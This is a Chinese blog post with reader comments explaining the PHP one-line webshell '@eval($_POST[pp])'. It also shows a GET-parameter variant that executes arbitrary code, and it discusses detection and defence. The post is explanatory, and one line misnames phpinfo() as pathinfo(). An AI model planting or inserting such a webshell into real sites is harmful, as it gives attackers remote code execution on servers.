大清早的刚从床上爬起来。雨落就跑来找我问我这段代码是什么意思<?php @eval($_POST[pp]);?>
看了一下,post接收pp的值,抑制错误输出。呵呵开个玩笑,其实不是这么简单,这是一段PHP木马代码,也就是我们所说的后门程序
为什么说这段代码是后门程序?
其实这段代码属于基础类的一句话,功能仅限于验证漏洞了,实际中太容易被查出来了,也就是早上雨落直接带图说检测到木马文件
这个是PHP最常见的一句话木马的源码,通过post木马程序来实现木马的植入,eval()函数把字符串按照PHP代码来计算
就这一句话害死人,这样任何人都可以post任何文件上来,所以要做好防范
eval函数
eval() 函数把字符串按照 PHP 代码来执行
该字符串必须是合法的 PHP 代码,且必须以分号结尾
如果没有在代码字符串中调用 return 语句,则返回 NULL
如果代码中存在解析错误,则 eval() 函数返回 false
eval函数的一般用法
一般用法也就是平时我们所用的,但是感觉我都不用这个函数,作用相当于Python中的format
函数,格式化字符串
<?php
$string = "beautiful";
$time = "summer";
$str = 'This is a $string $time morning!';
echo $str. "<br />";
eval("\$str = \"$str\";");
echo $str;
?>
结果输出:
This is a $string $time morning!
This is a beautiful summer morning!
eval函数的特殊用法
这就是二般人的用法了,一句话木马下面我们直接来看实例,新建一个php文件,写入如下代码
<?php
@eval($_GET["cmd"]);
?>
加上@符来抑制错误输出,来访问?cmd=echo 'hello,world!';
这个路径,就会看到输出
查看PHP的信息:pathinfo()
post提交同理,原理就是上面说的,将字符串按照 PHP 代码来执行了,这是最简单的一种PHP一句话木马程序代码,也感觉是最弱智的。。。
我一直以为木马会是一串加密字符
这不是木马,不对$_POST的数据进行过滤,即使没有eval函数,漏洞还是存在。。
@西枫里博客 😆 广为流传的eval
那怎么防止这种东西呢?
@图南山 要禁用的话需要使用第三方扩展Suhosin